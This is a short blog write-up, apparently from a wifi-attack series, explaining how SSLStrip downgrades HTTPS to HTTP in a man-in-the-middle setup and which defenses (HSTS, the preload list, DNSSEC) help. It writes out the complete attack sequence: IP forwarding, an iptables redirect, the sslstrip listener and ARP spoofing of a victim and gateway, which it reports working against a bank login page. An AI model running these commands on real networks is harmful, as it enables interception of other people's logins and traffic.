SSLStrip

Continuing with the theme of wifi attacks, tonight I’m looking at the SSLStrip tool.

The purpose of SSLStrip is to circumvent SSL connections which are upgraded from cleartext connections. I think the tool itself only supports HTTPS to HTTP connection downgrades. The way it works is that when a user first enters the address of a website it wants to visit in its browser, the browser goes to the HTTP version of the site first out of assumption. If the site is available HTTPS then it will most likely tell the client to reconnect via HTTPS as a response to the first normal plaintext HTTP request made.

SSLStrip is used in a Man-in-the-Middle scenario to override this functionality. It takes the client request in plaintext, but forwards it to the server in HTTPS mode. This way the client thinks that it’s speaking to the server in plaintext, while the server thinks that the client is connected via HTTPS and therefore with integrity. A normal user will probably not know the difference between an encrypted connection, and will not notice an active attack. The adversary will be able to read and manipulate the requests between the server and client, even though the server is “protected” by SSL.

Protecting against such an attack can be done via the Strict-Transport-Security header. Alternatively by DNSSEC. However, DNSSEC is not widely adopted and might not ever be, and the STS-header only guarantees security on connection after an initial one. If it’s the first time the user connects to the site, then it’s hard to protect him/her. To additionally protect users, domain owners could ask to be added to the preloaded list. for STS used by most modern browsers.

Performing the Attack

Following the example guide on the official SSLStrip website:

To enable forwarding:

echo "1" > /proc/sys/net/ipv4/ip_forward

Reroute traffic on destination port 80 to 18888, where sslstrip is listening.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 18888

sslstrip -l 18888 -a -w log
tail -f log

To start the sslstrip listener and log the output to a file. Tail to display the contents.

arpspoof -i wlan0 -c own -t 192.168.137.164 192.168.137.1

Arp spoof to trick the victim into sending its traffics via us instead of the gateway.

Result

Here’s the result of trying to visit a popular Swedish bank’s login page in the victim’s browser.

Note that it’s missing the typical green https certificate info, normally shown like this:

I also tried ettercap with the sslstrip plugin, but again it didn’t work. The arpspoof and sslstrip example provided on the website worked well though. It could easily be expanded to inject scripts as well if you fork the sslstrip project.